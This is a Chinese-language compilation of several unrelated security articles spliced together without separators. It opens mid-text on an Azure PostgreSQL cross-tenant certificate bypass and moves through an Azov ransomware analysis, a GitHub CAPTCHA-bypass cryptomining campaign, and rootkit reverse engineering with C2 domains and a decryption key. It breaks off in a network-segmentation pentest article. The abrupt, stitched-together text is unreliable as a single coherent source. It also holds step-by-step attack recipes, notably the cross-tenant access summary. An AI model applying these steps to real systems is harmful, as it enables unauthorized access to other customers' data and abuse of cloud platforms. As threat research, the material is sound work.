指向ca.pem 的SSL 配置,可以在postgresql.certoverrides.conf 中看到

通過檢查此文件,我們了解到Azure 信任多個CA 的證書,其中一個是DigiCert。 DigiCert 是著名的根證書頒發機構和SSL 證書頒發機構,為個人和開發人員以及企業提供服務。

9.png

Azure PostgreSQL服務器支持的受信任的證書頒發機構列表

Azure使用了另一個PostgreSQL功能來驗證證書的通用名稱(CN)。這就是pg_identity .conf的作用。

pg_identity .conf文件是對pg_hba.conf文件的擴展。當使用身份驗證方法(如Ident或Certificate authentication)時,發起連接的用戶名可能與需要連接的實際用戶名不同。在這種情況下,將應用用戶映射以將連接用戶與相應的PostgreSQL 用戶匹配。這允許將通用名稱(CN) 鏈接到特定用戶。例如,具有簽署到alice.com 的證書的用戶將能夠以Alice 的身份進行連接,或者俱有簽署到bob.com 的證書的用戶可以以Bob 的身份進行連接。 pg_ident.conf 還支持更複雜的通用名驗證的正則表達式。

這是Azure 中的pg_ident.conf 配置:

10.png

檢查pg_identity .conf文件中指定的映射,我們注意到一些有趣的邏輯:

根據第一個條目,任何具有匹配某個正則表達式的證書CN的用戶都可以使用與CN的第一部分等價的數據庫用戶名登錄。例如,擁有簽署到azuresu.eee03a2acfe6.database.azure.com 的證書的用戶將能夠使用azuresu 用戶連接到復制數據庫。

根據第二個條目,複製用戶可以使用等於rl.eee03a2acfe6.prod.osdb.azclient.ms 的證書CN 值登錄(這對於我們的示例來說似乎是唯一的)。

此外,第一個條目還允許複製用戶登錄,因為它的用戶名也與正則表達式匹配(replication.eee03a2acfe6.database.azure.com)。

眼尖的讀者會注意到這個正則表達式的一些奇怪之處:

11.png

為什麼這個正則表達式以(.*) 結尾?這顯然是一個錯誤。我們是否可以註冊一個匹配這個正則表達式的域,例如replication.eee03a2acfe6.database.azure.com.wiz-research.com,為其生成一個客戶端證書,然後通過模擬複製用戶使用它來登錄我們的服務器。

要利用這個鬆散的正則表達式,我們必須做的就是訪問digicert.com 並向replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書。由於我們是wiz-research.com 的合法所有者,我們通過了驗證過程並成功獲得了客戶證書。在實踐中,我們最終從RapidSSL(DigiCert 的中間CA)購買了證書,因為我們發現該過程更容易。這就是我們如何為我們自己的示例偽造一個有效的SSL 客戶端證書,任何人都可以使用它來連接和復制我們的數據庫。

訪問其他客戶的數據庫到目前為止,我們只討論了登錄到我們自己的PostgreSQL示例。我們如何應用這個技巧來獲得對其他客戶示例的訪問?讓我們再看看pg_identity .conf文件中的正則表達式:

12.png

我們可以看到,每個數據庫示例都有一個惟一的標識符。要為特定的數據庫生成自定義證書,我們需要事先知道這個標識符。那如何獲得這些信息?

我們發現,數據庫的唯一標識符出現在服務器的SSL證書中。通過嘗試使用SSL連接內部網絡中的其他數據庫,我們可以檢索它們的SSL證書,並提取子網中每個數據庫的惟一標識符。

13.png

測試到隨機客戶示例的連接,以檢索標識符

在發現目標數據庫的唯一標識符之後,我們可以頒發一個新的客戶端證書,但這一次是使用目標的標識符replication.ebe6ed51328f.databasee.azure.com.wiz-research.com,並使用它連接到目標數據庫,它具有完全的讀取權限。

但是,如果我們不想將自己局限於碰巧共享我們子網的其他客戶呢?如果我們想從特定目標數據庫(假設我們知道它的域名)中檢索數據,例如wizresearch-target-1.postgres.database.azure.com,該怎麼辦?在這種情況下,我們可以通過在公共證書透明度提要中搜索數據庫域名來獲取具有唯一標識符的CN:

14.png

使用crt.sh識別包含唯一標識符的CN

一旦我們有了標識符,我們就可以購買一個偽造的普通名稱的證書:

15.png

購買的偽造證書

接下來,我們可以通過解析數據庫域找到目標示例的相關Azure區域,並將IP地址匹配到Azure的一個公共IP範圍:

16.png

SQL East US區域的IP範圍片段

最後,我們可以在與目標相同的區域中創建由攻擊者控制的數據庫,並將其作為利用我們發現的漏洞的切入點,並獲得對我們所尋找的數據的訪問權限!

步驟總結1.選擇一個目標 PostgreSQL Flexible Server。

2.從Certificate Transparency 提要中檢索目標的公用名。

3.從DigiCert或DigiCert中級證書頒發機構購買一個特別製作的證書 。

4.通過解析數據庫域名並將其與Azure的一個公共IP範圍匹配,找到目標的Azure區域。

5.在目標的Azure區域中創建一個攻擊者控制的數據庫。

6.利用攻擊者控制的示例上的漏洞1來升級特權並獲得代碼執行。

7.掃描子網查找目標示例,並利用漏洞2獲得讀取權限限!

影響最初的PostgreSQL漏洞(漏洞1)同時影響了Azure PostgreSQL服務器和Azure PostgreSQL單一服務器。然而,Single Server服務沒有受到跨帳戶身份驗證繞過漏洞(漏洞2)的影響,因此,我們無法在該服務中實現跨租戶訪問。此外,微軟的調查發現,跨帳戶認證繞過並沒有影響Azure PostgreSQL客戶,他們將數據庫的網絡設置配置為使用私有訪問(VNet Integration)。因此,Azure Database for PostgreSQL Flexible Server客戶在任何配置了公網訪問的地區,無論防火牆規則如何,都是易受攻擊的。

需要注意的是,在設置Flexible Server數據庫時,用戶需要將其網絡連接配置為公共訪問(默認選擇)或私有訪問(VNet Integration)。選擇後就不能更改。

微信截图_20221214085509.png

Check Point Research(CPR)對臭名昭著的Azov勒索軟件進行了分析,分析表明,Azov能夠修改某些64位可執行文件以執行自己的代碼。在過去的幾周里,CPR在其社交媒體以及Bleeping Computer上分享了對Azov勒索軟件的初步調查結果。接下來,我們將介紹Azov勒索軟件的內部工作原理及其技術特點。

主要發現Azov最初是作為SmokeLoader殭屍網絡的有效負載而引起注意的,該殭屍網絡通常存在於假冒盜版軟件和破解網站中。

Azov與普通勒索軟件不同的是它對某些64位可執行文件的修改以執行自己的代碼。在現代互聯網出現之前,這種行為曾經是惡意軟件氾濫的必經之路。可執行文件的修改是使用多態代碼來完成的,這樣就不會被靜態簽名潛在地破壞,並且也適用於64位可執行文件。

這種對受害者可執行文件的攻擊性多態感染導致了大量感染Azov的公開可用文件。每天都有數百個與Azov相關的新樣本提交給VirusTotal,截至2022年11月,該樣本已超過17000個。使用手工製作的查詢,可以只搜索正確的Azov樣本,而不使用木馬化的二進製文件。

VirusTotal查詢以搜索與Azov相關的樣本:

1.png

1.2.png

VirusTotal查詢——Azov相關樣本

VirusTotal查詢僅搜索正確的Azov樣本,而不搜索木馬化二進製文件:

2.png

VirusTotal查詢——僅原始Azov樣本

豐富的樣本使我們能夠區分Azov的兩個不同版本,一個更老,一個稍新。這兩個版本共享它們的大部分功能,但較新版本使用了不同的勒索通知,以及銷毀文件的不同文件擴展名(.azov)。

3.png

新版本的Azov的贖金通知

4.png

舊版本的Azov的贖金通知

技術分析使用FASM在程序集中手動製作;

使用反分析和代碼混淆技術;

原始數據內容的多線程間歇性覆蓋(循環666字節);

在受損系統中後門64位“.exe”文件的多態方式;

“邏輯炸彈”設定在特定時間引爆。下面分析的樣本被設置為在UTC時間2022年10月27日上午10:14:30引爆;

沒有網絡活動,沒有數據洩露;

利用SmokeLoader殭屍網絡和木馬程序進行傳播;

有效、快速且不幸無法恢復的數據清除器;

研究人員專注於新Azov版本的原始樣本(SHA256:650f0d694c0928d88aeeed649cf629fc8a7bec604563bca716b1688227e0cc7e-如上所述,與舊版本相比,功能上沒有重大差異)。這是一個64位的可移植可執行文件,已用FASM(平面彙編程序)組裝,只有1段.code (r+x),並且沒有任何導入。

5.png

FASM編譯器的檢測

6.png

只有一個“.code”部分,沒有導入

code字段分為三個部分,通過查看其熵最容易看出。首先,有一個高熵部分包含加密的shell代碼。之後是實現解包程序的純代碼,然後是熵非常低的最後一部分,似乎由用於構造勒索信的純字符串組成。

7.png

“.code”部分的熵

打開程序由於Azov的整個代碼都是手工編寫的,因此有必要執行一些IDA魔術和清理工作,以將代碼塑造成可以反編譯和理解的狀態。完成此操作後,過程start_0()就可見了。這段代碼將shellcode解包到新分配的內存中,然後將執行傳遞給它。

8.png

輸入函數start_0

函數AllocAndDecryptShellcode()中的解包程序被故意創建得看起來比實際更複雜。但實際上,它是一個簡單的種子解密算法,使用xor和rol的組合,其中key=0x15C13。

9.png

AllocAndDecryptShellcode函數中的解包程序

我們在下面提供了簡化程序邏輯的Python實現:

10.png

下一階段分為兩個主要程序:一個負責清除文件,另一個負責為可執行文件設置後門。

11.png

將執行轉移到清除和後門邏輯

清除程序清除程序首先創建一個互斥鎖(Local\\\\azov),以驗證惡意軟件的兩個實例沒有同時運行。

12.png

清除程序——互斥鎖創建

如果成功獲得互斥鎖句柄,Azov會通過木馬(類似於後門程序)64位Windows系統二進製文件msiexec.exe或perfmon.exe並將其保存為rdpclient.exe來創建持久性。在SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run上創建一個註冊表項,指向新創建的文件。

13.png

持久性創建

清除程序使用觸發時間——有一個循環,被分析的樣本檢查系統時間,如果不等於或大於觸發時間,則休眠10秒,然後再次循環。樣本觸發時間為2022年10月27日。

14.png

樣本觸發時間為2022年10月27日

一旦這個邏輯炸彈被觸發,清除器邏輯就會遍歷所有設備目錄,並對每個目錄執行清除程序,從而避免某些硬編碼的系統路徑和文件擴展名。

15.png

系統路徑和文件擴展名

16.png

清除時省略的文件擴展名

每個文件都被“間歇性”清除,這意味著666字節的塊被隨機噪聲覆蓋,然後一個大小相同的塊保持完整,然後一塊再次被覆蓋,依此類推,直到達到4GB的硬限制,此時所有其他數據都保持完整。作為隨機源,樣本使用未初始化的局部變量(例如,char buffer[666]),這實際上意味著隨機堆棧內存內容。

17.png

間歇性數據清除

18.png

數據清除程序的示例跟踪

清除完成後,新的文件擴展名.azov將添加到原始文件名中。清除文件的典型文件結構如下所示。

19.png

清除文件的示例結構

後門程序在遍歷文件系統以搜索要進入後門的文件之前,創建一個名為Local\\\\Kasimir_%c的互斥鎖,其中%c替換為正在處理的驅動器的字母。

20.png

後門程序——互斥鎖創建

TryToBackdoorExeFile()函數負責解密滿足特定條件的64位“.exe”文件進行後門。

21.png

通過預處理條件的文件進入TryToBackdoorExeFile函數

這些具體條件可簡化如下:

預處理條件:它不是文件系統位置清除列表的一部分;

文件擴展名為“.exe”;

文件大小小於20MB;

處理條件:該文件是64位可執行文件;

包含入口點的PE部分有足夠的空間用於注入shellcode植入程序,以保留PE的原始入口點(shellcode起始地址將放在原始入口點的地址);

File size==PE size(PE大小是手動計算的);

處理條件都在TryToBackdoorExeFile()函數中檢查。

22.png

TryToBackdoorExeFile函數

一旦文件滿足所有預處理和處理條件,它就被認為適合適合進行後門操作,並將其推入BackdoorExeFile()函數。

23.png

函數TryToBackdoorExeFile的鄰近圖

函數BackdoorExeFile()負責可執行文件的多態後門。它首先獲取原始代碼段(通常是.text段)的地址,然後在幾個位置隨機修改其內容。在將shellcode的主要blob注入到修改的代碼部分之前,某些常量值將被更改,整個shellcode將使用與前面描述的惡意軟件解包期間使用的相同的加密算法和密鑰重新加密。後門文件寫回磁盤後,三個編碼的數據結構被追加到它的末尾,這是勒索軟件運行所需的有效資源(例如,一種模糊形式的勒索通知)。

24.png

函數BackdoorExeFile的鄰近圖

儘管存在多態後門,但解包和後門過程中使用的加密/解密算法是一致的,可用於Azov檢測。

25.png

使用與解包期間相同的算法和密鑰重新加密shellcode的主blob

反分析和代碼混淆技術防止使用軟件斷點——如果設置了軟件斷點,使用例程將已經解密並正在執行的部分shellcode複製到新分配的內存中,然後將執行轉移到它,遲早會導致異常。在這種情況下,有必要使用硬件斷點。

26.png

防止使用軟件斷點的反分析技術

不透明常量——用產生相同結果常量值的代碼例程替換常量。 (這可以在負責計算常量偏移量的例程中反复看到,而不是直接使用它們,以便直接調用可以被間接調用取代)

27.png

不透明常數

語法混亂——用語義上不地道或完全擴展的等效指令替換指令。這方面的一個例子可以在負責解析導出目錄的程序中找到;另一種是用直接或間接jmp重複替換調用。兩者如下圖所示。

28.png

語法擴展

29.png

在調用中使用間接跳轉和直接跳轉

下面可以看到解析導出目錄的程序集的簡化版本。

30.png

垃圾代碼——插入垃圾字節,導致沒有有意義的指令,甚至根本沒有指令。

不透明謂詞——jz/jnz乍一看似乎是一個條件跳轉,但實際上條件總是滿足或總是不滿足,並且有效地充當無條件跳轉,使靜態分析混淆。這兩種混淆都可以在函數FindGetProcAddress()中看到。

31.png

垃圾字節插入和不透明謂詞混淆

調用-返回濫用——使用push-ret或Call而不是jmp。

32.png

控制間接

Volatile Homebrew IAT ——一個動態分配的結構,包含API函數地址,被用作嵌套結構,作為參數推送給需要使用特定WIN API例程而不是使用普通導入的函數。

33.png

動態創建的IAT類結構用作嵌套結構

總結儘管Azov樣本在第一次被發現時被認為是一個普通的勒索軟件,但當進一步調查時,我們發現了非常先進的技術——手工製作的組裝,將有效載荷注入可執行文件以打開後門。

儘管還不知道其幕後組織,但唯一可以肯定的是,所有這些分析都證實了Azov是一種先進的惡意軟件。

Automated Libra黑客組織通過CAPTCHA繞過技術自動賬號創建,進行加密貨幣挖礦。

近期,南非黑客組織'Automated Libra'通過CAPTCHA繞過技術實現自動賬號創建,在雲平台創建賬戶,利用免費的資源進行加密貨幣挖礦來獲利。

Automated Libra是位於南非的黑客組織,也是freejacking攻擊活動PurpleUrchin背後的黑客組織。 Freejacking 是使用免費云資源來執行加密貨幣挖礦活動的過程。 Unit 42 研究人員分析了Automated Libra的250GB數據,發現了黑客的基礎設施、歷史和使用的技術。黑客使用簡單的圖像分析技術繞過CAPTCHA圖像,實現雲平台自動化賬號創建,每分鐘可以成功創建3-5個GitHub賬戶。 Unit 42研究人員成功發現了黑客在PurpleUrchin攻擊活動中使用的40個加密貨幣錢包和7種不同的加密貨幣。

利用GitHub工作流進行加密貨幣挖礦Automated Libra在針對GitHub的攻擊活動中融合了Play and Run以及freejacking技術。此外,攻擊者還利用了GitHub CAPTCHA檢查的弱點。

攻擊者以平均每分鐘3-5個的速度自動創建GitHub賬號。創建GitHub賬號後,就開始了freejacking攻擊活動。

攻擊者在不同的VPS(virtual private server)提供商和雲服務提供商平台上創建了超過13萬個賬戶,但是並沒有付費。這些創建的賬戶使用的都是虛假的個人信息以及信用卡信息。這使得攻擊者可以在完成加密貨幣挖礦活動後並未完成付費。

自動化賬號創建創建GitHub賬戶的第一步是輸入郵件地址、密碼和用戶名,如圖1所示:

image.png圖1. GitHub表單完成

容器運行虛擬網絡計算(VNC)服務器:使用如下命令啟動Iron瀏覽器:

image.png

圖2. VNC服務器展示Iron瀏覽器

然後使用xdotool工具,該工具是完成GitHub表單的主要腳本。表單完成後,GitHub會提示CAPTCHA:

image.png

圖3. GitHub CAPTCHA

攻擊者使用了一個非常簡單的機制來解決CAPTCHA問題。從攻擊者創建的GitHub賬戶統計數據來看,攻擊者實現CAPTCHA繞過的方法非常有效。

利用CAPTCHA的弱點為繞過CAPTCHA需要識別圖片背景中的星系,攻擊者使用了ImageMagick工具套件中的2個工具:convert 和identify。

首先,使用convert工具將圖像轉化為RGB格式。

image.png

圖4將圖像轉化為RBG

轉化完成後,使用identify命令來提取red 通道的skewness 特徵:

image.png

圖5. 提取red 通道的skewness 特徵的命令

最終的結果如圖6所示,以從大到小的順序排序。值最小的圖像就是背景圖片,比如:

image.png

圖6. 每個圖片的red通道輸出

圖4中的image 2就是識別出的星系背景圖片。 CAPTCHA解決後,GitHub需要一個啟動碼,如圖7所示:

image.png

圖7. GitHub 請求啟動碼

攻擊者使用Gmail賬號來自動獲取啟動碼。這一過程使用了IMAP協議和PHP腳本來讀取收到的IMAP消息。

啟動碼輸入後,自動化過程就可以生成個人訪問token。 GitHub註冊過程的最終結果是一個用戶名和GitHub部署的個人訪問token。

image.png

圖8. 調用運行的容器

隨後,容器執行以下操作:

設置SSH 密鑰;

使用GitHub API創建GitHub庫;

配置創建的庫的權限。

此外,攻擊者還使用基於MD5哈希值的隨機名來對庫進行命名。

image.png

圖9. 對庫進行隨機命名的命令

GitHub庫創建完成後,攻擊者調用一個bash腳本來用目標工作流來更新庫。工作流是用PHP腳本生成的, PHP模板編碼的工作流示例如圖10所示:

image.png

圖10. PHP模板

研究人員發現其中的一個工作流中有64個任務。生成的工作流配置為github.event.client_payload.app事件下的repository_dispatch運行。工作流機制允許攻擊者執行外部應用。在本例,攻擊者運行外部bash腳本和容器,如圖11所示:

image.png

圖11. 執行外部應用的工作流機制

工作流運行的bash腳本是從外部域名訪問的。攻擊者運行的容器是用來安裝和初始化加密貨幣挖礦功能的,如圖12所示:

image.png

圖12. 加密貨幣挖礦容器

生成的工作流運行64個任務,每個任務都從5個可用的唯一配置中隨機選擇一個。

經過確認的攻擊者創建的GitHub賬戶數如下圖所示。

image.png

圖13. PurpleUrchin攻擊者創建的GitHub賬戶數

此外,攻擊者還在Heroku、Togglebox、GitHub等不同雲平台服務商創建了超過13萬用戶賬戶。

本文會分析野外發現的兩個rootkit示例:Husky rootkit和Mingloa/CopperStealer rootkit。

驅動入口函數DriverEntry讓我們從二進制的驅動入口函數DriverEntry開始,在Windows內核驅動程序中,它是DriverEntry。

DriverEntry通常包括以下代碼塊:

調用IoCreateDevice和IoCreateSymbolicLink;

初始化主要函數數組,其中包含指向各種處理函數的函數指針;

為DriverUnload例程分配一個指向處理程序函數的函數指針。

以下片段(代碼段1)展示瞭如何用C語言實現簡單Windows內核驅動程序的DriverEntry。

1.png

C語言中DriverEntry實現的一個示例

下一個代碼段(代碼段2)展示了同一個DriverEntry的反彙編過程。

2.png

代碼段2:DriverEntry的反彙編

DriverUnload函數DriverUnload是一個在卸載驅動程序時調用的函數。

此處理程序函數的目的是清除驅動程序在初始化和執行過程中創建的任何資源,例如,刪除在DriverEntry中創建的設備和符號鏈接。

調用ExFreePoolWithTag來取消分配在DriverEntry函數中分配的任何池內存也是一個很好的策略函數。

3.png

代碼段3:C語言中DriverUnload實現的一個示例

Windows內核結構為了充分理解Windows內核驅動程序的反彙編,我們還應該熟悉對像管理器和內核中其他組件使用的一些內核結構。

例如,以下結構是DRIVER_OBECT(代碼段4)。

4.png

代碼段4:分解DRIVER_OBECT結構

當對IRP進行逆向工程時,繪製出驅動程序使用的IRP主要函數是很有用的。例如,通過查看結構偏移(代碼段4)和反彙編(代碼段2),我們可以確定sub_1400014B0是DriverUnload。

我們還可以使用wdm.h/ntddk.h中描述的IRP主要函數代碼值,通過檢查代碼的主要函數,得出sub_140001280(在Snippet 2中)是IRP_MJ_CREATE的函數處理程序的結論,該代碼將從DRIVER_OBECT結構中的MajorFunction(0x70)的偏移量得出0x70的結果。這顯然是0x00*PointerSize(x64體系結構中為8);因此,正在處理的是IRP_MJ_CREATE。

可以用同樣的方式,確定IRP_J_CLOSE、IRP_J_READ、IRP_MJ_WRITE和IRP_J_DEVICE_CONTROL的函數處理程序是什麼。

5.png

代碼段5:摘自wdm.h,它定義了所有IRP主要函數的常數值

在進行分析時,我們熟悉的其他一些內核結構是IRP和IO_STACK_LOCATION結構。

IRP,也稱為I/O請求包,是一種在創建I/O請求期間,在設備堆棧中的不同驅動程序之間移動,直到請求完成的結構。

當在用戶獲取的設備對象的句柄上從用戶模式調用具有特定IOCTL操作的DeviceIoControl時,會創建IRP。

6.png

代碼段6:IRP結構的分解

此外,IO_STACK_LOCATION表示IRP在設備堆棧中的當前位置(因此IRP結構中的CurrentLocation字段是指向IO_STACK-LOCATION的指針)。

IO_STACK_LOCATION結構包含一個聯合類型的參數字段,該字段指定驅動程序中不同主函數要使用的不同參數。

例如,如果當前操作是IRP_MJ_DEVICE_CONTROL,則將使用DeviceIoControl類型的參數,包括OutputBufferLength、InputBufferLength、IoControlCode和Type3InputBuffer。

7.png

代碼段7:IO_STACK_LOCATION結構的分解

有了我們對Windows內核驅動程序的新理解,以及如何在Windows驅動程序中找到關鍵函數,讓我們看看一些真實的示例。

示例1:Brute Ratel C4(BRC4)攻擊釋放“Husky” Rootkit這項研究來源於Palo Alto Networks Unit 42在一篇關於Brute Ratel C4的博客https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/中提到的與活動相關的示例。不過,他們沒有提供這個示例的技術分析。

示例詳細信息8.png

示例概述該示例是一個內核驅動程序,使用LAP$US組織竊取的NVIDIA證書進行簽名。它使用zerosum0x0(圖1)找到的Heresy's Gate方法https://zerosum0x0.blogspot.com/2020/06/heresys-gate-kernel-zwntdll-scraping.html,這是一種用於從內核模式驅動程序繞過SMEP向用戶模式註入代碼的技術。

微信截图_20230518134625.png

通過zerosum0x0使用Heresy‘s Gate方法對簽名驅動程序進行分解

注入的shellcode使用經典技術,如遍歷InLoadOrderModuleList以查找庫句柄,以及解析API函數(如LoadLibraryA和GetProcAddress),這些函數可用於解析任何其他API。

注入的shellcode分析起來也很長(圖2),看起來與前面提到的Unit 42博客中描述的shellcode非常相似,因為它使用多個推送指令在堆棧上存儲數據。存儲在堆棧中的數據包括:

Brute Ratel C4的Base64編碼配置數據;

Brute Ratel C4有效負載;

可移植可執行文件(PE)64二進製文件,是VMProtect打包的內核驅動程序,稍後加載。

9.png

圖2:摘自shellcode,將許多值推送到堆棧並形成Base64 blob

Brute Ratel C4配置可以使用以下短腳本(代碼段8)進行解密:

10.png

代碼段8:用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段

解密配置後,我們得到以下輸出:

11.png

代碼段9:解密配置的示例

解密的配置數據(Snippet 9)包括Brute Ratel C4有效負載的一些基本配置,包括C2服務器地址和開始通信的端口,對C2的請求應該是什麼樣子的Base64編碼模板,以及C2上用於各種功能和選項的不同路徑。

12.png

攻擊場景

我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣,因為它被覆蓋相同示例的其他供應商完全忽略了。

Husky Rootkitx64 rootkit,我們稱之為Husky Rootkit,與Brute Ratel有效負載一起被釋放。

內核驅動程序由VMProtect打包,並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。

13.png

rootkit使用的證書

驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了,因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始,基本上指向VMProtect解包存根。

14.png

VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令

但是在解包之後,我們發現像GsDriverEntry這樣的函數包含了更多的信息,以及我們可以在分析中使用的重要字符串(圖6)。

15.png

從GsDriverEntry中反彙編一個分支,該分支包含以thpt(HTTP的混合版本)作為其URL協議的URL字符串

C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此,在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。

另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口,以監控受攻擊虛擬機的所有通信流量(圖7和圖8)。

16.png

Wireshark網絡捕獲的由rootkit啟動的流量

該惡意軟件與多個域以及每個域的相對路徑進行通信。

17.png

從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載

隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像(JPEG–JFIF標頭):http://pic.rmb.bdstatic.com//bjh/.jpeg.

JPEG文件(圖9)是一張看起來很無辜的狗的圖片,因此研究人員將這些圖片命名rootkit為“Husky”。

18.png

該圖片含有有效負載

每個JPEG也有一個隱寫有效負載,其形式是在多個0的分隔符之後,將數據連接到偏移量為0x1769的圖片末尾(圖10)。

19.png

jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview

通過查看數據,我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。

20.png

代碼段10:有效負載的前32個字節在不同的有效負載中相似

諷刺是,域rxeva6w.com在88次檢測中一次也未被檢測到(圖11)。

21.png

VirusTotal顯示了在rveva6w.com域上的檢測結果

加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法,密鑰為“j_k*a-vb”。

22.png

將解密密鑰傳遞給DES解密函數

附加功能除了通過HTTP進行通信和隱藏連接外,這個rootkit還能夠加載從不同URL下載的新模塊。

顯然,這個rootkit包含了本文未提及的額外功能。

示例2:Mingloa(CopperStealer)Rootkit2019年,ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了,也被稱為CopperStealer。

正如Proofpoint研究中所指出的,該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外,該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。

這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術,這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術,CopperStealer將無法從受攻擊的設備中抓取數據。

23.png

示例概述

此惡意內核模塊是針對x86和x64體系結構編譯的。

24+1.png

惡意軟件攻擊場景的分解

該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的,或者是由員工洩露的。

25.png

頒發給“大連龍夢網絡科技”的證書,用於簽名驅動程序

通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。

26.png

分解用戶模式組件執行流以安裝驅動程序

通過查看這個片段,我們可以看到InstallDriver函數接收到一個參數,並且首次調用時參數值為0。第二次調用時,參數值為1。

如果我們仔細觀察InstallDriver,會發現它首先嘗試創建一個semaphore,然後檢查Windows版本。如果這些調用中的任何一個失敗,它將退出而不執行任何操作。

27.png

二進製文件中InstallDriver函數開頭的反彙編,它調用CreateSemaphoreWrapper

如果之前的檢查成功,則惡意軟件將繼續,停止並刪除任何具有相同名稱的服務,最後將shouldInstallDriver參數與0進行比較。

28.png

CreateSemphoreWrapper函數的反彙編

如果shouldInstallDriver的值等於0,則函數將返回,不再執行任何指令。否則,它將根據系統架構,繼續安裝嵌入二進製文件中的適當驅動程序。

29.png

對InstallDriver函數的分解,它描述在系統上安裝驅動程序的流程

這部分代碼還包含一個邏輯錯誤,它會阻止加載此驅動程序。

第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序,但在安裝驅動程序之前會提前退出,因為semaphore已經存在。

這個邏輯錯誤有些神秘,因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下,它要么是在沒有任何測試的情況下匆忙部署的,要么還不打算部署到任何受攻擊的設備上。

驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序,與更現代的迷你過濾器驅動程序不同,它可以在不使用回調過濾函數(如操作前回調例程或操作後回調例程)的情況下修改系統行為。

傳統的文件系統過濾器驅動程序可以直接修改文件系統行為,並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。

通過查看DriverEntry,我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外,它還註冊了兩個回調函數——一個使用CmRegisterCallback,另一個使用IoRegisterFsRegistrationChange。

這篇文章是關於常見的錯誤配置和攻擊場景,這些錯誤配置和攻擊場景使攻擊者能夠訪問具有關鍵系統或敏感數據的獨立網絡。

由於種種原因,德國在過去幾年裡對不同行業的公司實施了許多新的法規和法律,以提高他們的網絡安全。規定了持有關鍵基礎設施的所謂KRITIS 公司和組織必須要保持網絡安全。如果這些公司/組織成為具有破壞性動機的高級持續性威脅(APT) 的目標,那麼在最壞的情況下,這可能會對對國家和人民造成嚴重影響。例如,KRITIS的公司已經執行ISO 27001認證,這是信息安全管理系統的網絡安全最佳實踐規範。 KRITIS包含的一些部門如下:

能源部門;

水務部門;

食品行業;

金融和保險;

其他。

1.jpg

由於德國新出台的法律和認證要求,包括KRITIS的公司進行了越來越多的滲透測試和其他安全評估。

可能的攻擊者入口眾所周知的攻擊媒介不僅適用於敏感的獨立網絡,而且適用於所有的IT網絡和組織:

通過互聯網訪問系統的漏洞或錯誤配置,在大多數情況下,這將是缺少多重身份驗證(MFA) 以及弱密碼、Web 應用程序中的漏洞或過時的系統/服務。

缺乏員工意識:例如網絡釣魚或處理任何不良/惡意設備(USB,電纜等)可能導致網絡的初始訪問。在這些場景中,攻擊者大多數時候會訪問Office-IT網絡,而不是進入獨立的網絡。

物理位置安全:如果一個具有物理訪問權限的攻擊者可以直接進入大樓並插入一個非法設備,那麼最孤立的網絡是沒有意義的。根據網絡和環境的不同,也可能有許多小的獨立位置,它們被允許連接到主控製網絡。

供應鏈攻擊:製造商或服務提供商受到威脅,例如,可以通過合法更新交付惡意代碼(類似2020 年的Solarwinds-Hack)。

水坑攻擊:攻擊者破壞目標公司員工經常訪問的網絡服務器。瀏覽器和客戶端因此受到惡意攻擊者託管代碼的威脅,或者可能只是憑證被網絡釣魚攻擊。

前三個攻擊向量可以由滲透測試公司檢查。第四個和第五個不能被審計,因為它需要涉及第三方公司/組織,這在未經他們同意的情況下是非法的。

因此,上述描述涵蓋了前三個攻擊向量:

面向互聯網的關鍵系統漏洞;

通過C2-Stager獲取證書或初始訪問權限的網絡釣魚;

物理位置安全檢查;

橫向移動嘗試從Office-IT進入獨立的網絡;

對獨立網絡本身進行滲透測試;

如上所述,大多數情況下,攻擊者只能通過利用漏洞或忽略防範來訪問Office-IT網絡。這一領域中可能出現的錯誤配置/漏洞將在本文中討論。

雙宿主主機雙主主機是指不僅有一個網絡接口,而且在不同網絡中有多個網絡接口的系統。假設一個運營網絡管理員想要從他的Office-IT客戶端訪問他的控制台。他可以修補一個直接連接到運營網絡,並通過第二個網絡接口將他的客戶端連接到它:

2.JPG

例如,還可以有一個Web 服務器,用於收集和可視化來自遠程網絡的數據:

3.JPG

這些系統因此不受防火牆的保護,防火牆將網絡彼此隔開。

通過雙宿主主機訪問遠程網絡非常簡單,如果攻擊者已經通過最常見的本地漏洞和錯誤配置在Office-IT 域中獲得了更高的權限,他只需pwn 管理員客戶端系統,然後通過例如socks 代理或端口轉發進入遠程網絡。

但是我們如何找到這些雙宿主系統呢?如果你面對的是Windows環境,至少有兩種協議允許我們在沒有身份驗證的情況下枚舉遠程網絡:

NetBIOS;

通過IOXIDResolver 接口進行RPC;

